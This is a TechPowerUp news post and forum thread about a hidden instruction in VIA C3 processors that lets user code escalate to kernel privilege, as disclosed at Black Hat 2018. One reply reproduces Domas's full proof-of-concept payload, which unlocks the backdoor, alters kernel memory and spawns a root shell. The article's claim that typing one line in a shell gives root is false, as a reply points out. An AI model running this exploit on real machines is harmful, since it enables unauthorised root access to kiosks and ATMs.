VIA C3 Processors Compromised by a Simple Shell Command

[btarunr]

VIA processors probably make up an infinitesimal amount of the desktop PC market-share, and its makers market the chip only at pre-built machines such as digital-signage kiosks, information kiosks, ticket vending machines, ATMs, etc (which don't need a lot of processing power). At the Black Hat 2018 conference, security researcher Christopher Domas discovered that getting access to root privileges in Linux on a machine powered by VIA C3 "Nehemiah" processors is laughably easy. Just key in ".byte 0x0f, 0x3f" (without quotes) in any Linux CLI in user mode, and voila! You are now the root user.

Domas calls this his own iddqd (the cheat-code for "God Mode" in "Doom"). This backdoor, probably put in place by the processor's designers themselves, completely collapses the ring-based privilege system of the operating system, and elevates users and applications from the ring-2 (and above) userspace to ring 0 (root). It is an exploitation of a shadow-core, a hidden RISC processor within C7, which manages the startup, operation, and key storage of the x86 cores. Intel and AMD too have shadow-cores with similar functions.



View at TechPowerUp Main Site

 

[Frick]

The things still having these must be truly ancient. Released in 2003, if it's just a Nehemiah thing and not universal to the C cores.

 

[Caring1]

" its makers market the chip only at pre-built machines such as digital-signage kiosks, information kiosks, ticket vending machines, ATMs, etc "
Most probably run on XP embedded.

 

[FordGT90Concept]

So simple and so effective, one has to wonder if this is an unintentional exploit or an intentional backdoor.

 

[windwhirl]

Honestly, I can only think three scenarios for this to exist:

1-It was a feature designed for better testing/debugging of engineering samples (for whatever reason), and they forgot to remove it in the final product.
2-Make jumping from any ring to ring 0 much faster (supposedly, jumping from any ring to another is rather expensive), but forgot to add security measures, or the feature got scraped, and again, forgot to actually remove it.
3-It's an actual backdoor, built specifically for that purpose.

 

[DeathtoGnomes]

Honestly, I can only think three scenarios for this to exist:

1-It was a feature designed for better testing/debugging of engineering samples (for whatever reason), and they forgot to remove it in the final product.
2-Make jumping from any ring to ring 0 much faster (supposedly, jumping from any ring to another is rather expensive), but forgot to add security measures, or the feature got scraped, and again, forgot to actually remove it.
3-It's an actual backdoor, built specifically for that purpose.

1 intentional, they didnt forget
2 intentional, never were going to remove or secure it.
3 Government request likely.

Iirc, the chip was supposed to be the next best thing for IoT, until ARM and SoC.

 

[micropage7]

compromised, but how many user that use C3

 

[efikkan]

So simple and so effective, one has to wonder if this is an unintentional exploit or an intentional backdoor.

When it's a dedicated instruction, then it's obviously intentional.
Adding debugging features is very common, and is probably done in every single microchip. But this type of debugging is usually disabled or removed right before mass production, and it's easy to forget something in the final push before a due date.

Still, sometimes they leave stuff there because it's "useful"…

 

[Yukikaze]

This "article" is hilarious.

Just key in ".byte 0x0f, 0x3f" (without quotes) in any Linux CLI in user mode, and voila! You are now the root user.

No, that is not how it works. This makes it clear that the author has no idea how this exploit functions, and did not do even a minimal amount of research.

The exploit requires three steps:
1) Writing a CPU configuration register with the wrmsr instruction (MSR 1107, bit 0 - Set to 1). This enables the 0x0f3f instruction. This is only possible from within Ring 0 - Except on a certain subset of C3 CPUs which have this bit enabled by default (C3 Samuel 2 - 0x0C5B), which makes the 0x0f3f instruction always available. A trivial mitigation for the latter case is to have the Kernel write this MSR bit to zero as it loads once it knows that it runs on a CPU of the affected family. With this bit disabled, the exploit is not possible. It can likely also be fixed via BIOS or uCode updates, but who is going to bother for a platform or CPU that old.
2) Using the embedded RISC code to execute a series of instructions that would manipulate Linux Kernel memory to escalate your privilege to become root. These instructions will bypass kernel memory protections because they are not active when the RISC core is executing.
3) Launch a shell (which will open as root) to complete the privilege escalation.

This isn't even remotely close to ".byte 0x0f, 0x3f" in the CLI, which will do nothing.

This is the actual payload used for the exploit (source is his DefCon26 presentation):

/* unlock the backdoor */
__asm__ ("movl $payload, %eax");
__asm__ (".byte 0x0f, 0x3f");
/* modify kernel memory */
__asm__ ("payload:");
__asm__ ("bound %eax,0xa310075b(,%eax,1)");
__asm__ ("bound %eax,0x24120078(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
__asm__ ("bound %eax,0xc8109489(,%eax,1)");
__asm__ ("bound %eax,0x0a1af97f(,%eax,1)");
__asm__ ("bound %eax,0xc8109c89(,%eax,1)");
__asm__ ("bound %eax,0xc5e998d7(,%eax,1)");
__asm__ ("bound %eax,0xac128751(,%eax,1)");
__asm__ ("bound %eax,0x844475e0(,%eax,1)");
__asm__ ("bound %eax,0x84245de2(,%eax,1)");
__asm__ ("bound %eax,0x8213e5d5(,%eax,1)");
__asm__ ("bound %eax,0x24115f20(,%eax,1)");
__asm__ ("bound %eax,0x2412c133(,%eax,1)");
__asm__ ("bound %eax,0xa2519433(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0xc8108489(,%eax,1)");
__asm__ ("bound %eax,0x24120208(,%eax,1)");
__asm__ ("bound %eax,0x80d2c5d0(,%eax,1)");
__asm__ ("bound %eax,0xc8108489(,%eax,1)");
__asm__ ("bound %eax,0x24120000(,%eax,1)");
__asm__ ("bound %eax,0x24110004(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe01095fd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe01095fd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
__asm__ ("bound %eax,0x80d1c5d0(,%eax,1)");
__asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
/* launch a shell */
system("/bin/bash");

This backdoor, probably put in place by the processor's designers themselves

Probably? Who else manipulates the RTL for an x86 processor if not the designers themselves. Heck, even if it was a malicious backdoor installed by the request of a government (spoiler: It most likely isn't, so the tinfoil hats can go back into storage), it was still put in place by the designers themselves. Judging by the fact that it was enabled by default only on a subset of the CPUs, this is likely an unfinished feature, or a debug functionality, that was left enabled by default as a result of a mistake. Such unsecured debug feature bugs are extremely common in HW.

It is an exploitation of a shadow-core, a hidden RISC processor within C7, which manages the startup, operation, and key storage of the x86 cores

Anyway, this core is not the SMM, or any manageability-related core which is what Intel and AMD have been repeatedly lampooned about. It is different, and its functionality is not well understood. It is a core that shares the CPU's execution resources (such as registers), which makes it very special indeed, and what enabled Domas to craft his attack. The one hallway speculation I heard was that this core was intended to be used (ironically) for cryptographic offloads, thus to be used to provide security related features.

EDIT: You can read documentation about this feature in the C3 Datasheet on page 80. Here it is.

Not to mention that this article explains nothing of the process Mr. Domas had to go through to discover this (such as reading through patents, narrowing down to the exact bit that would enable the instruction, reverse-engineering the RISC instruction set of the RISC core, writing an assembler for the RISC core and finally crafting the payload), which is the truly interesting part of the story, and what showcases his genius.

You can see his presentation on the DefCon26 media server (Edit: Fixed link). This is pretty much the same one as presented at Blackhat.

 

[xorbe]

Per a detailed reddit post, the C3 cpu has to be configured first to enable this feature. It's actually documented, and not a hidden thing. Maybe some motherboard vendor accidentally configured things wrong if it's available natively.

 

[Ubersonic]

Worth noting that this is a 17 year old CPU, not like anyone's gonna be using it on their server or anything lol.

 

[Jism]

Worth noting that this is a 17 year old CPU, not like anyone's gonna be using it on their server or anything lol.

You have'nt read; these embedded CPU's or systems are still widely used all over the world, that dont need rough CPU power, and work on the mainframe basis (mainframe > client). Many ATM's still operate on embedded systems, VIA was one of them.

 

[Bitgod]

Since this could affect ATMs, I wonder if this is the cause of the FBI alert to banks this week about a possible ATM cashout attack? (and funny enough, I just did a search and it looks like an Indian bank got hit for over $11 million in unauthorized ATM withdrawls)